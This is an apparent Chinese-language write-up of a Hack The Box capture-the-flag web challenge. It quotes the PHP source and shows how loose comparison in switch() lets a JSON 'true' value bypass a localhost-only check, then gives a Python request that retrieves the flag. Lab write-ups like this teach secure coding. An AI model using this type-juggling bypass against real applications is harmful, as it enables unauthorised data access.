Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250403010503679

(有附件)

观察

打开网页:

image-20250403004658323

点击 secret facts:

image-20250403005347562

flag大概率和这个“secrets”有关系,但其他没有什么发现所以去看看源代码。在 index.php 里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
}
include_once "${name}.php";
});

$database = new Database('localhost', 'root', 'M@k3l@R!d3s$', 'web_juggling_facts');
$database->connect();

$router = new Router();
$router->new('GET', '/', 'IndexController@index');

$router->new('POST','/api/getfacts', 'IndexController@getfacts');

die($router->match());

可以发现网页定义了2个操作:get和post。2者都调用了 IndexController ,所以我们顺着这个线索去看一下 IndexController.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class IndexController extends Controller
{
public function __construct()
{
parent::__construct();
}

public function index($router)
{
$router->view('index');
}

public function getfacts($router)
{
$jsondata = json_decode(file_get_contents('php://input'), true);

if ( empty($jsondata) || !array_key_exists('type', $jsondata))
{
return $router->jsonify(['message' => 'Insufficient parameters!']);
}

if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
{
return $router->jsonify(['message' => 'Currently this type can be only accessed through localhost!']);
}

switch ($jsondata['type'])
{
case 'secrets':
return $router->jsonify([
'facts' => $this->facts->get_facts('secrets')
]);

case 'spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('spooky')
]);

case 'not_spooky':
return $router->jsonify([
'facts' => $this->facts->get_facts('not_spooky')
]);

default:
return $router->jsonify([
'message' => 'Invalid type!'
]);
}
}
}

稍微拆解分析一下,如果我们发送一个post请求,那么它

  1. 首先会检查请求参数是否存在:

    1
    if ( empty($jsondata) || !array_key_exists('type', $jsondata) )
  2. 判断 type 类型,如果是secrets那么检查是否是本地 IP

    1
    if ($jsondata['type'] === 'secrets' && $_SERVER['REMOTE_ADDR'] !== '127.0.0.1')
  3. 比较type的值并进行后续操作:

    1
    2
    3
    4
    5
    switch ($jsondata['type']) {
    case 'secrets':
    case 'spooky':
    case 'not_spooky':
    }

渗透

漏洞正是这个流程里的 switch() 函数。php里的这个比较函数是宽松比较(loose comparison)(严格的话是===),会根据情况自动转换类型,所以可以利用true绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

$jsondata = [
'type' => true
];

switch ($jsondata['type']) {
case 'secrets':
echo "true == secrets\n";
break;
case 'spooky':
echo "Failed\n";
break;
case 'not_spooky':
echo "Failed\n";
break;
default:
echo "Failed\n";
break;
}

会返回:

1
true == secrets

image-20250403010359782

所以我们直接发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = 'http://94.237.63.28:34695/api/getfacts'
data = {
"type": True
}

resp = requests.post(url, json=data)
print("Response:")
print(resp.text)

# 返回:
# Response:

# {"facts":[{"id":19,"fact":"HTB{juggl1ng_1s_d4ng3r0u5!!!}","fact_type":"secrets"}]}

就可以得到flag:HTB{juggl1ng_1s_d4ng3r0u5!!!}